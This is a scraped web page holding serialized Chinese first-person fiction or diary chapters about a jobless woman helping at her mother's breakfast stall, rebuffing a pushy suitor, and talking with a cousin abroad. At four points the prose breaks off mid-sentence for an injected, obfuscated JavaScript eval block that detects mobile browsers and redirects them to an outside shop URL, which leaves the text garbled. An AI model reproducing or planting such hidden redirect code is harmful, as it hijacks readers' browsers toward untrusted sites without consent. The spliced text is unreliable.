提出涨薪被拒,我已有辞职的打算。可四月底那个时机,并非我主动选择。作为打工人,劳动节可是为数不多的带薪长假之一。于我,无论如何也要忍到五一之后。令人惋惜的是,怕什么来什么。在泽铯的工作纵有百般不是,却有一个好,我不用担心自己没有工作。辞职的坏处我已知道许多,可也有一个好,我有时间准备考公。国考要求考生年龄在三十五岁以下,若是再蹉跎个几年,报国也无门。 我一直用的笔电,二零年换工作后,由于分发的电脑配置太低,同事又都是自带笔电,我咬了咬牙,买了台mbp。我没有geek到使用Linux系统,Linux类UNIX,macOS又继承UNIX系统特性,Linux和macOS有许多共同的命令行工具,对命令行的依赖,让我无法抗拒macOS的终端。此外,苹果笔电的其他表现,如视网膜显示屏、续航能力等,亦是可圈可点。 不过,当我从事游戏开发,mbp就不太够用了。虚幻引擎的运行对显卡有一定要求,自己写的代码倒没什么,一旦装上插件,能卡出翔。去年九月接触到VR,我把VR设备带回家,体验《节奏光剑》这个游戏时,画面一帧一帧地播放。那个时候,公司开始筹备自研项目,我白天在公司调试插件,晚上回家整理笔记,好不容易坐到电脑前,却也只能干坐着。我终于妥协,配了台主机。 我仍把CPU拉满,选的9950X,编译引擎只需半个钟头。显卡用的4060Ti,中档偏上,性能充足,开销合理。从同事那里拿到硬件的基础认知后,一一比对各项,我确定了组装方案,购买时亦再次和卖家确认。配置看上去没有问题,激情游戏时,主机却没有规律地自行重启,开发测试时也是这般。当我排查出问题,原是750W的电源还不够用。这时,手上除开电源,还多出了水冷和内存条。我把它们挂上二手平台,年中特卖结束后,出掉了水冷和电源,回了点血,手上也有了余钱。 我不用上班,在早点铺帮工也未觉得辛苦,没有工作的快乐,我却感受不到。虽然起得早,上午忙完后可以补觉;整个下午的时间都由我来安排,别说下午六点的太阳,就是下午四点的太阳,我都能看到。既然感觉不到,我就和自己讲道理,一字一句地告诉自己:现在的日子,比之朝九晚五,还要舒服。 与之相应地,妈妈每天起得比我早,回去的比我晚,承担了店里的大部分活,是店里的顶梁柱,早点铺正常运作离不开她。以往的那些纠葛,吃药之后,不再浮现。当我再次裸辞,妈妈手头没有余钱的情况下,仍替我还了三万块。我不知该对亲人做何种要求,于身边人的下限,我要求极低。可“钱在哪里,爱就在哪里”,这一点我无从反驳。 油炸要求的温度较高,一周半的时间,锅里的油就显得有些浅。妈妈加过油,米浆入锅就炸,她解释调配米浆时可能水加多了。后来更是发现,她倒的是香油。 店里的面窝口感有些实,顾客也多次反应,妈妈听取意见,在米浆里增大了黄豆的量,可惜收效不佳。她又加了酵母,这一举措,让我的工作难度大大增加。 酵母还未起效,炸出来的面窝仍偏实心。米浆温度随着室温升高,酵母开始发挥作用,却容易作用得过猛,导致面窝鼓泡后破裂,炸得愈焦,看相也不佳。妈妈见状,打完米浆后,将其放入冰柜冷藏。待我开始炸面窝,观察膨胀程度,若是温度上来了,便往盆里加冰袋,控制酵母的发作强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301308|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度。 妈妈还撒了很多葱花到米浆盆。舀米浆时,勺子里的葱花不宜多,也不宜少。有时,我刚把勺子浸入油锅,就有顾客来买面窝。我不好让人久等,又不便松手,只能把勺子架在沥油架上,有几次还险些打翻。 妈妈在屋内负责煮面和炒面,我一边炸面窝,一边分装豆皮。面窝也用保鲜袋打包,筷筒的保鲜袋将要耗尽,我一次扯下好些个,搓开后,挨个塞入筷筒。妈妈看不惯,要我按她的来,扯一个正好拉开,手里攒了数个后,再一齐塞到筷筒。这两种做法不存在孰优孰劣,可她如此要求,让我有些无奈。我意识到她对抓大放小毫无概念,感到几分好笑。 切豆皮的时候,考虑到顾客的心态,不能只盛边上的,也不好光盛中间的,我尽量保持均衡。妈妈在一旁看到,嫌我把豆皮盛得七零八碎,没有看相。她又觉得我手脚慢,把纸碗一把夺过去亲力亲为,盛得时候还给我展示,碗里的每一块豆皮都是糯米朝下,面皮朝上。她一面埋汰我,一面和客人说笑。屋内的人催她,她连忙上台阶回屋。内心的知觉似曾相识,我无法定义。我深吸一口气,不作他想。 下午去到店里,收拾完配菜,妈妈喊我吃饭。她从料理桌上拎来一个装着碗的塑料袋,从里面拿出一盘菜。 “咯,你要吃的排骨。” 店里每天都有订面,妈妈担心量少别人不好想,即使用不了那么多,分量也不减。至于剩下的面条,晚上用一些,或者作为晚餐。若是还有,考虑到成本低,扔了也不可惜。我虽不喜吃炒面,由于胃口不佳,吃什么都没差。可经期快到了,我想着多少给自己补补身体,便和她说想吃排骨。谁曾想,外包的母爱永无止境。这一直是我的痛处。即使她知道我不再和外婆家来往。我放下筷子,离开店铺,背后传来她的声音,“爱吃不吃。” 我去到水果店买了甜瓜,拿回店里,分了一个给妈妈。 “你倒是舍得给自己花钱。我吃不起,你自己留着吃吧。” 她反倒是那个动肝火的人。 不过十来块钱的东西,我并不在意。打牌输钱可以,日常却抠抠搜搜,她一向如此。我把瓜拿到楼上,盘算着可以吃上两天。 34. 2025年6月,第26周 34 [2025年6月,第26周] 帮工数周,无需闹钟我就能从床上起来。像是一直惦记着某事,四点过后,人就从迷迷糊糊中醒来,看一下时间,再眯上一会,发觉睡意不在,便起身靠在床头,闭目养一会儿神。 从家中离开,走在街上,路面的潮湿提示昨夜有雨落下。六月已近尾声,气温将起未起,可只要下雨,湿度上来,体感便比实际气温高上几度。 天蒙蒙亮,我看着头顶厚重的乌云,建议今天在屋内炸面窝。 “雨不是停了吗?没事的。”妈妈说。 我还在犹豫,她已开始搬灶台。我只能同她一道。正将油锅抬起,她却喊我放回去。出来一看,雨又开始下了。我苦笑一声,开始把东西往屋子里搬。 自己的判断值得相信,我在心里感慨。 读书时我习惯独来独往,工作后男同事虽多,也只用就事论事。 钱鹄仍每天晚上给我发信息,我遇见的人里,如此行事,只有他一人。若非长辈相识,我也不用理会。我不想把场面弄得难看,又听闻过冷处理,晚上学习的时候,抽空才回他一条信息,期许他能够识趣。 他依然在周五晚上发出了邀请,我礼貌拒绝。 “相亲了这么多次,只有这回,我想着我俩从小就认识,才这么用心。”他为自己说情。 能介绍相亲的,不都是熟人吗?从小就认识?我从来没有从妈妈口中听说过他的事。 “我也想不明白,为什么你相了这么多次亲,还没有结婚?我表哥和你同龄,孩子都两个了。” 钱鹄的相貌和家境放在榕潭,即使有些挑拣,按理,也不该这般难成家。况且他看上去完全不排斥相亲。 “我这么和你说吧。有些女孩子加了好友,话也不说几句,我也不会主动找她们聊天。稍微聊得多些的,我提出见面,对方又避左右而言他。就是这么个事。” 我有些不快,他一个男生,主动些怎么了? 他现在倒是主动了,我要为此感到受宠若惊吗? “去爱一个本身就很好的人,对你好可能会装得出来,本身就好的人是装不出来的。” “要去爱一个本来就很好的人,而不是只对你好的人。他对你的好总有一天会被消磨掉,爱和新鲜感会消失,但责任和教养永远不会。” “只要你谈过几次恋爱,就会发现忠贞、坦诚、责任,付出、担当、自我牺牲,这些爱情中珍贵的品质,不是由爱与不爱决定的,是由对方的人品和精神内核决定的。一个自私虚伪懦弱浅薄的人,即便再爱你,他也给不出那些东西。” 一言以蔽之,人不能对他人没有的东西抱有指望。 这三段话都是我从大土豆(社交应用)看到的,他都不上网的吗? 我也不再客气。 “我对你没有想法。继续聊下去,只会浪费双方时间。” 我点击发送,不再理会。 第二天午后,我开着番茄钟刷题,脱兔许是觉察到门外的动静,在空调房里吠个不停。 我打开房门,脱兔冲到大门口,嗅着门外的气味。 我没出声,通过猫眼观察。 只见钱鹄走上台阶,不自在地站在我家门外。 他怎么知道我家哪栋哪层哪户?怪事咄咄,我提高警觉,思忖着如何应对。 我本想装作家中无人,可这个哈哈打不过去。 那就装作没听见?许是听见了狗吠,他敲门也不是,不敲也不是,一直在门口杵着。 看着他那副手足无措的模样,我有些心软。 我把脱兔哄回房间,不情不愿地关上番茄钟,换了鞋,将门打开。 “家里有些脏,去楼下说吧。”我开门见山道。 “没事,没事,”他嘴上应着,却抬脚欲往里走。 开门时我只留出自己出来的空隙,当他面关上门,我径直下了楼。 正值梅雨季节,早上又跑暴。雨停没多久,还出了太阳。睡醒后我觉得闷,这才开了空调。 现在是下午一点,太阳直射头顶,空气中湿度高到爆表,走到楼下没有荫蔽的地方,一股热意袭来。 钱鹄这回从头到脚都是黑色,上身穿着透气的运动短衫。染过颜色的发丝在太阳下折射出红光,活像一个来自地狱的恶鬼。 额头冒出的汗水沁湿了他的刘海,头上做过锡纸烫的发丝却高高蓬起,让人看着着实难受。 他拎着一个超市的保鲜袋,里面摞着几小盒冰淇淋。 “你要不要吃这个?”他从脸上挤出笑容,问道。 我摇了摇头,解释道:“我喉咙不太舒服。”。 在楼下站着也不是个事,我带着他往别处走。 我没开口,我说的话要是管用,现在就不会不知所谓地在外面走着。 “我高中毕业后没考上大学,因为找不到工作,只好在家自学,后来通过了高等教育自学考试,拿到了专科学位。” 呵,我长这么大,知道专科,知道自考本科,还是头一次听闻自考专科。这超出了我的认知。 姜斯童那家伙,打小玩性大,高三那年用功备考,也考上了本科。今时不同往日,既非头脑愚笨,也非物质条件缺乏,除了无心读书,居然还有啥都考不取的人。真是闻所未闻,让人匪夷所思。 我想不出,一个人要不学习到哪般,要放飞到何种程度,才会招致这种处境。他看上去并非跳脱、顽劣之人,反而较旁人更显踏实、温厚。 我一言不发,他继续自说自话。 “我这份工作工资不高,但很稳定,毕业这么多年我都没有换工作,也是这个原因。” 我继续沉默。 “你心里是怎么想的嘛?我想来想去,只能猜测你在意这两点。” “你要是有什么想知道的,问我就好了。”他有几分着急。 “我没有想过结婚,我觉得一个人挺好的。”这是句大实话。 他像是见到了机会,话匣子一下就打开了。 “一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301309|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很自在,像我在家打游戏,都不会有人念叨。” “可你得考虑以后呀,你年纪大了,身体不行了,谁来照顾你呢?” “你难道不结婚不生小孩?人总得有一个后代呀!”他感慨十足。 这都是老一辈的观念,他一个九零后,说起来头头是道,颇让人觉得违和。而且,结婚是为了这样事?上个世纪生活条件艰苦,谋生选择有限,人多力量大,如此选择,自然没得说。可有了电力,还有人用蜡烛?有了电动三轮,还有人走路赶集吗?一代人有一代人的精神追求,亦有不一样的社会责任。一个国家若是只有一半的人出来工作,生产力自然减半;蚕吃桑叶可以吐丝,人活着不说作出多大贡献,至少也要跟上时代步伐。 我觉得我和他不在一个频道。 他见我不搭理,把话题转向我妈。 “姜姨现在还有精力开早点铺,再过个几年,她身体不行了,你一个姑娘伢,哪里照顾得过来?屋里总还是要有个男的呀!” 我瞥了他一眼,这是人说的话? “我家里人身体都不错。再说了,身体不好有病治病,该请护工请护工。” 他被我堵住,一时不知如何展开。 走在下马路,眼瞧着离家越来越远,我调了个头。 经过一个路口,岔开的一条小道上有一个加油站。他再次开口:“我爸爸老是在这里加油,我还不知道这条小道可以通到下面。” “你走这么快做什么?”眼瞧着离我家越来越近,他开始迂回。 我抿着嘴和他隔开距离,回答道:“没有。” “这件事就这样了,不必浪费双方时间。”我还是这句话。 “你说了不算呢,这怎么算浪费时间呢?我还没同意呢!” 他要同意什么?同意我拒绝他?是我的礼貌给了他自信? 不去戳人短,是社交的基本礼仪。就他这情况,我张口必有歹毒。我不算特别有礼貌,因为我也不会安慰。 我停下脚步,和他说:“我现在只想好好准备考试,其他什么都不重要。” “那你考完试之后呢?” 我心想,这关他什么事? “人总是要结婚的,你为什么不考虑我呢?” “还是说我有什么问题,你实在看不上?”他反问我。 我思考着要如何组织语言。“我觉得你人挺好的,但我对你没有想法。”人因为有想法才会行动。 “那我们做个朋友唦?这应该没有什么问题吧?”他纠缠不休。 “我朋友不多,不喜欢聊天。”这也是句实话。 “我就不信你从来没有想过结婚。你肯定想过!”他仿佛觉得自己掌握了这场对话的主导权。 这句式让我倍感不适。你肯定如何如何,这道题一定选C。 有把握的人只待揭晓答案;以自己的思维去揣度敲定别人,他人如何尚不能得知,自己是个蠢的,一定没跑。 到家楼下,我按下不适,和他告别后回家。 35. 2025年6月,第26周 35 [2025年6月,第26周] 我心里仍觉得不舒服,妈妈给我发来消息,还没有到五点。我提前去到店里。 “钱鹄下午找到了家门口。”我告诉妈妈。 “你让他进去坐了没有?”她这么问道。 “我为什么要让他进来坐?我请他来我家了吗?”我诘问道。 “他怎么知道我住哪里?” 妈妈见我这么问,也不再隐瞒。 “哎哟,是小鱼伯伯把他带过去的。”她解释说。 小鱼伯伯倒是知道我家住在哪一户。她之前给我送过自己做的南瓜饼。 我家就我一个人,她就这么把男生往女孩子家里引!她做事不讲分寸吗?只我一个人觉得不合适? 虽不是妈妈的指路,她也没拦着,不是吗?小鱼伯伯说到底,又不是我亲妈,她考虑不周,也不好说什么。可不相熟的男孩子上门找自家女儿,妈妈就不作他想? 我不欲和她争执,这件事我已处理完毕,没必要继续拉扯。 “你就这看不上他?”妈妈开口问道。 我意识到,虽然只见了一回面,妈妈却颇有分丈母娘看女婿,越看越喜欢的意味。 “你知道他的学历吗?” “听颜盐说过,高考没考上大学,后来自己在家里学,考到了专科吧?” “他蛮不容易呀,又没有报班,最后还能考上,说明他还是蛮上进的!” 我就纳闷了。 论外貌,钱鹄平平无奇。 论学历和能力,在我结识的人中,他远远拉低了下限。 妈妈当初瞧上爸爸,看的也是学历、才学、家境、工作。爸爸百般不是,在承担一家之主的责任、代替妈妈在生活上照顾我这两点上,毋庸置疑。 怎么到我这里,她完全不挑?是作为女儿,我让她拿不出手了? “你统共见过他几次?” “你早上回去以后,钱鹄他一个人来到店里,跟我聊了半天。那个时候突然有几个人到店,我忙不过来,还让他帮我跑腿买瘦肉,别人二话没说,一直等到我忙完。” 我冷笑几分,这是见自己没机会,从家人处下手吗? “小鱼伯伯过意不去,才又把他带到我们家。她还不是为你好。” 小鱼伯伯热心肠不假。她善解人意,可这一波,她解的是谁的心意呢? “所以咧?你们该不会又背着我说话了吧?”既然是小鱼伯伯带的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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空调在房门的对角线,管道穿过阳台上方,通到室外。风水学中,床尾的摆放位置有着一定的讲究,一般来说,床尾不宜对着门。门侧的那面墙嵌着衣柜,床便只能摆在空调正下方。我犹豫了许久,还是没有购入挡风板。 入睡没一会,我咳嗽着醒来。痒意一次又一次漫上喉咙管,即使未咳嗽,也足以将我拍醒。我把空调被拉齐到下巴,咳嗽才不那么频繁。 工作体检含超声检查,医生告知甲状腺部位可以看到晶体,问我是否长过结节。我全无印象,不过,某次感冒后,咳嗽就难以退去了。 中途醒来,便不易再次入睡。看了下时间,刚好十点,便给妈妈发去消息。 “消炎药买什么样的呀?” 妈妈回了一条语音:“我给你带糖浆吧,糖浆效果好一些。” “你回去了吗?” 又是一条语音:“我在小鱼伯伯家。我从她家门口过,她正好把手头的事做完,就拉我谈家常。你来不来唦?” “不了,看书。” “你本来就不舒服,还咳嗽。你别看书了,休息、睡觉,玩、玩下游戏,轻松几天,知不知道!” 我没回她。家里还有没喝完的糖浆。 妈妈替我还完贷款,额外转了一千块给我,让我看着用。家里不缺什么,我也没有购买欲。 聊天应用我用得不多,上面的好友亦不多。如果不是工作需要,我不会再次注册。状态糟糕的时候,或是觉得寒心,或是不愿被情绪拉扯,我还会删好友,主动和他人疏远。次数多了,周围的人对此见怪不怪。 我删过溪辞几次,也加回过数次。前段时间她试着加我,却不是有事,我便没有通过。因着公证那事,我主动加回溪辞。得知我吃药,许是认为我缺少陪伴,在那之后,溪辞保持一周一次的频率联系我。 得知我要考公,她没有表露反对:“考公还是蛮难的。我在大土豆刷到过图形推理的帖子,都看不明白。” 小学数学奥赛的数字推理和图形推理都是找规律,智商测试也有类似的题目,她大概以此做出论断。 “我也看不懂。” “我挺佩服你的。到了这个年纪,还愿意学新东西。都三十好几的人了,有时候,我也会觉得脑子不够用。” 程序员这行,吃的就是边学边做的这碗饭。溪辞在四大做审计,论脑子的灵活度,有些过于谦虚了。 “你爸爸那件事对考公没有影响吗?”她怀有疑问。 没有人现身说法,只有试过才知道答案。我如实回答。 “国考是个什么流程?考试通过就行了吗?” “先笔试,再面试,之后还有政审和体检。”我突然意识到,不只是笔试,这四道坎,每一项都能把人拦下。 “这么麻烦呀,就算通过了笔试,也还有面试!而且,考试合格才政审,要是卡在这里,那得多难受呀!” 我捏了捏眉心,可不是嘛! “唉,现在想再多也没用,你还是要好好备考呀!走一步看一步吧!” “你今年回来吗?”疫情之后,她连着回来了两年。 “今年就算了。去年回来前,我还特意嘱咐我爸爸,不要和我妈妈那边的亲戚讲,怕他们又兴师动众,让我过意不去。可是,我大舅立马就和我发消息,问我回来想吃什么,他提前备好。而且,我到家楼下的时候,门卫就不用说了,我爸爸一向和他们关系蛮好,就连坐在门口谈天的爹爹婆婆都晓得我是从国外回的,搞得我特别尴尬。” 大伯和女伯伯一向关心溪辞,往奶奶家送生活用品呀,给她检查作业呀,帮她庆生呀,表扬她成绩好呀,诸如此类的事,他们做起来乐此不疲。 “去年回来的时候,你们都在上班,我净在家里陪奶奶和妈妈看电视了。而且我现在很忙,不好请假。” “不过我还是很惦记孃孃的手艺,她跟江璟上回特意在奶奶家住了一晚上,就是为了第二天早上给我做糊汤粉。” 溪辞在竹溪上的学。竹溪和上康、安乐同为上庸的中心城区,房陵同武陵一道,地处偏僻;齐安连接武陵和安乐,与上康隔江相望。溪辞在家楼下乘坐公交,过了桥便可抵达奶奶家。孃孃家亦在齐安辖区,靠近武陵,离奶奶家也就二十来分钟的路程。她两家一直走得很近。孃孃和叔叔的厨艺是公认的没话说,我对此表示赞同。 不过,这并不是溪辞第一次提起这件事。或者说,孃孃给她做早饭的当天,她就对我进行了实况转播。 “大伯那天说了一句很有意思的话。奶奶不是因为我爸爸的事觉都睡不好嘛,你爸爸说,奶奶都没有心思做饭了。” “哈哈,你当时就该怼他的,让他学着给奶奶做饭吃。” 这话我哪能说得出口,纯属狗拿耗子多管闲事。他们家人对此都没有异议。 “我一直觉得我爸爸有点妈宝男,你看唦,他退休以后什么都不做,一天到晚都在麻将室。要不是奶奶腿脚不便走不了路,他都不会帮着买菜。” “那倒也不至于。”大伯虽不做家务,别的地方却挑不出毛病,是实实在在的大家长。他们兄妹三人的孝顺,一脉相承。 “要不是大伯,奶奶身边也没个照看。”大伯住在竹溪,也是每天到奶奶家吃饭。 “你最近有什么趣事?”溪辞问道。 我思考了一下。上份工作之余,时间都用在整理技术博客上。静态网站的专业性较强,不在聊天范畴内。一般情况下,当季的电视剧在热搜上追追就行,上一次看电影还是《还有明天》。至于吃的,经孟璮推荐,我吃过几次回转寿司,味道不错,体验也很新鲜。 “上庸有一家回转寿司连锁,口味还蛮地道的。之前做活动,焦糖鹅肝摆在白碟上。我那天一口气点了六盘,剩下一份吃不完,打包带回家给脱兔尝鲜了。” “嗯,我也喜欢吃寿司,但鹅肝太腻了。我比较喜欢吃海胆,清爽甘甜。鱼子酱也不错。” 海胆是黑碟,我点过一回,印象不深。 “你吃饭了吗?”她那边是夏令时,我这边的十点钟,是她那边前一天晚上七点。 “嗯,我下午睡了一觉。吃完晚饭想到明天要上班,就不想加班了。对了,BEDODO的盲盒不是很火嘛,你看!” 她走到沙发,拿出若干个BEDODO玩偶,和我叫不出名字的同司旗下的其他公仔。 溪辞打小就喜欢布娃娃,身边的亲友都叫得出她的阿贝贝的名字。 我看着屏幕上的公仔,听她讲述每一只的来历,不时问一句。 “你知道NAD+静脉输液吗?这边现在正流行,和谷胱甘肽一起打,可以抗衰老。” “什么肽?”我没听清。 “我给你找找哈。”画面卡顿了一下,溪辞发来大土豆的链接。 “对了,你大土豆的账号是不是注销了?” “最近又注册了。你叫啥?” 听着有些耳熟,想必她没改过名字。我点了关注,她随后回关,给我发了个表情。 大概地过了一遍帖子,我想起前段时间看到的一则新闻。“不是有个人跟自己儿子换血吗?和那个一样的效果吗?” “你也看到那个新闻了呀!普通人肯定不能做不到那一步,目标是差不多的。我身边朋友也有注射了的,说效果还可以,人不那么容易累了。我上周也去打了一针。” 我在国内没有接触过这些,这还是我头一回听说。 “嗯,我眼周长黄褐斑了。我以为我不在意自然衰老,可真变老了,这比我想象中更难接受。你打完感觉如何?” “还行吧,具体效果也不大说得出来。这个东西肯定不是一次两次就有作用,得长期打。我之后还会打就是了。” “哦。”虽然长了黄褐斑,我也只是略有感慨,并不作买眼霜或是美白产品的打算。 “你最近有看剧吗?”我问道。 小学三年级爸爸购入了电脑,妈妈不爱看电视,亦不常在家,这之后,家里就不缴闭路费了。不过,在外婆家看电视并不受限制。搬去杉湖,父母以影响学习为由,一直没有添置机顶盒。那时起,我就不太跟得上同学们谈论的话题了,毕竟,只有寒暑假去到奶奶家,我才有机会看电视。大伯母爱追连续剧,也不觉得看电视于学习有碍,溪辞每天都和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301311|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈一起看电视,综艺、连续剧如数家珍,在她的影响下,我看了不少韩剧和台剧。 “工作实在是太忙,我也没有时间追剧。不过,我还是把《折腰》看完了,宋祖儿真的好美。” “这部呀!我之前看过宋祖儿的路透,印象很深刻。”她扮相有几分似王语嫣,三国里的小乔如若是这个颜值,我也能懂“铜雀春深锁二乔”的可惜之处了。 “你很长时间没有见到哈里乌了吧?” 哈里乌就是溪辞的阿贝贝,大伯母随口取的名。她说完,拿着手机,去到床边,把趴趴狗举到手机前。 “来,跟哈里乌打个招呼。” 爸爸那边的亲戚虽没有格外宠溪辞,却也很是纵容。她的日常对话中,哈里乌含量不低。我有些不喜哈里乌。大学前期,由于我每周都会翘掉班会,错过了去美利坚交流的自费活动。溪辞也上的一本,二人大学都在名列之内。她带着哈里乌去了,还在机场拍了张美照发到博客。我调侃哈里乌比我见过的世面都多,之后,溪辞便常常拿哈里乌笑话我。 以往这种时候,我会把脱兔喊到跟前,她说一句哈里乌,我便提一嘴脱兔,自然,她也就没什么兴趣了。现下,我已没有做出回应的心情。 “你很长时间没有去奶奶那边了吧?上回回来琼雪请客,你也没有去。” 她突然提起这茬。 琼雪和我们是同辈,但要大个十来岁。江璟大溪辞半岁,溪辞又大我半岁,三人年纪正好凑成等差数列。上了小学,我不再称呼溪辞为姐姐,可岁数跨度在那,我们仨一直都喊琼雪姐姐。不知何时,溪辞改了称呼。 “嗯。”二三年没有工作,我不大愿意出门。 “唉,我觉得吧,你还是要多和人接触。琼雪老公出国打工,她一个人收好几套房租,有钱又有闲。她上回请我们吃日料,人均四百块,合计花了一千多。你不去,真是可惜。不过,以你的食量,去了也回不了本。”她调转枪头,开始调侃我。 “哦。”我饭量不大,溪辞出国前,两人有时聚餐,总是点上一桌又吃不完。这几年我才学会点菜。 “你没事可以约琼雪,她小孩在读初中,周末都要补习,空闲时间也多。” “再说吧。”琼雪姐姐家也在竹溪,他两家往来甚密,大伯和琼雪姐姐的爸爸,关系尤为好。 “哦,对了。我妈妈那边不是晓得我回来了嘛!我一连跟他们玩了三天,相当于连轴转。” “哦?” “琳琅姐姐现在升到电信局管理层了,她老公跟她一个单位,级别比她还要高一些。” “叶耀不是在航天科技上班嘛,他也要结婚了,就在今年十月份。” “你不是说他不婚吗?”上回溪辞提起,叶耀有一个交往了很多年的女朋友,两人不是没到结婚那步,而是不在乎那一纸证书。 “哦,他和前女友分手了。这是另外一个。”她轻描淡写地带过。 “他们白天都没空陪我,我就和大舅妈他们一起吃饭聊天。”叶耀和叶琳琅应该差不多大。 “叶沐也怀小孩了!现在应该快生了吧。”叶沐比溪辞要小个几岁。 “她身子吃得消吗?我记得她是护士吧?” “嗯。不过她已经辞职了,所以也还好。” “哦。” “到了下班的时候,大家在饭店吃完饭,琳琅姐姐提议打牌,我们就又去麻将室。我和你说,他们可有意思了,都给我喂牌,我一晚上都在和牌,大的小的都有。” 大伯母喜欢打牌,算是家风吧。老李家也不差,但凡聚会,必定凑上几桌。 “你别看他们年纪不小了,打起牌来,一个比一个精神。我们那天玩到凌晨三点才收场,叶耀说他肚子饿了,我们又跑去吃宵夜,一直搞到五点才各回各家。第二天叶沐她爸爸中午请客,大家打了一下午牌,晚上吃完饭打不动了,又一起去KTV唱歌。” “你们真是有精神呀!” “是吧,那回玩完,我硬是三天不想再出门。我妈妈那边人的精神头真是厉害!” “嗯,确实。” 溪辞看上去有些累了。“我要去洗澡了,今天就这样吧。” 我点点头,她挂断电话。 我看了下时间,刚好是我平常醒来的时候,可以准备午饭了。 37. 2025年7月,第27周 37 [2025年7月,第27周] 许是早起的缘故,我自觉脚步虚浮。脑袋不至于昏沉,但有些发胀,整个人似踩棉花般轻飘。 妈妈每天到店,先烧开水,给煮面炉开机,接着准备米浆,我则在这个时候来到店里,开始每天的例行公事。 这些天,店里的第一位客人总是那位。他第一次到店,在五点半左右,询问店里有没有稀饭,未果,要了四份拌面打包。妈妈那时在制作豆皮,我放下手里的活,去后方煮面。 “这还得多长时间?”他指着豆皮问道。 “才开始做,还得十多分钟。”妈妈回答。 他便作罢。 店里备有大米和电饭煲,准备稀饭也不费事。第二天,妈妈到店后,多了淘米这一项。她想着多个客人是好事,做豆皮的时间亦提前了一些。 妈妈提前制作豆皮,那位客人亦更早到店。三天后,妈妈不再和时间赛跑,一切按原先的时间来,甚至更为从容。 已至七月,小学和初中开始放暑假。没有了学生和学生家长的光顾,早上又只做一锅豆皮。许是听闻商业街有店在卖面窝,集市的老板再次支起了面窝摊。店里眼见着冷清了下来。 生意好的时候,前一位客人把面窝买完,新的刚刚下锅,就又来了客人。现在卖不动,沥油的架子上堆得没有空位,我便不再继续。妈妈见状,找出来一个不锈钢盆,把架子上的面窝拣到盆子里,让我接着炸。 对门其他店铺的老板也来照顾生意。蔬菜店的老板常常端一碗稀饭,外加两个面窝;肉店的老板只尝过面窝,却把豆皮介绍给别人,一买就是四份。 下街的副食店老板兼职开小面包车,工厂和宿舍在两处,他每天接送员工上下班。一次,他把员工载到妈妈的早点铺,奈何妈妈手脚慢,对方不乐意,便还是载到街对面的面馆。不过,有一个大高个觉得店里早点味道不错,他不想久等,便加了我好友,出发前预先点餐。 虽是如此,妈妈却不立即准备,总是一再押后。有时是我错过消息,那人到店后还是得等。好在他上集总要买点别的,并不介怀。我自觉怠慢,便多几分歉意,有时送上一杯豆浆。 店里空闲的时间多了起来,妈妈常走下台阶,拿出监工的架势,旁观我做得如何。 “和人说话要客气,看到人,要多笑,知不知道?” “我带着口罩在,别人哪看得到我笑没笑?” “跟你说话,你就好好听,顶嘴这个习惯,你怎么老是改不掉哇!” 我长叹一口气,不欲和她计较。 妈妈这个行为作风,我不知道像谁。我不喜和她出去,和爸爸在外面我姑且有个人样,和她一起,却往往自觉卑微。 妈妈从来不是弱势的一方,爸爸不给她家用,她也无需承担照顾家庭的责任。爸爸虽未替她在工作一事上周旋,可看在爸爸的面子上,她也有了稳定的工作,她的工资只用管她自己。她上头虽有两个哥哥,外公外婆却都最宠她。小舅曾和我拿腔,读书时,妈妈手头一向宽裕。她无需看人眼色,也不似我这般不招人疼。我不知她为何要如此举措。 她并非不疼爱晚辈,别人家的孩子素来喜爱她。她只是对我不喜。我假想过,妈妈潜意识里,将我视作自身痛苦的来源。小学三年级的一天,她把我从床上叫起来,带到厨房,教我用电饭煲,让我以后给自己做饭。即使懵懂如我,也知道那是她即将离家的信号。好在我放学回家,看到她的东西还在。 “我不离婚,还不是因为你!”影视剧中常出现的这句话,犹如坠在孩子心上的千斤担。真的是为了孩子才留在家中的吗?自己有能力养活自己吗?自己有能力给孩子提供稳定的生活吗?难道不是因为什么都没有,才无法离开这个家吗?不愿面对自己的无助,就拿孩子当借口,这才是不离婚的真相。当爱不足以在苦难中提供支撑,它便去到了对立面,成为萦绕在心头的无名憎恶。 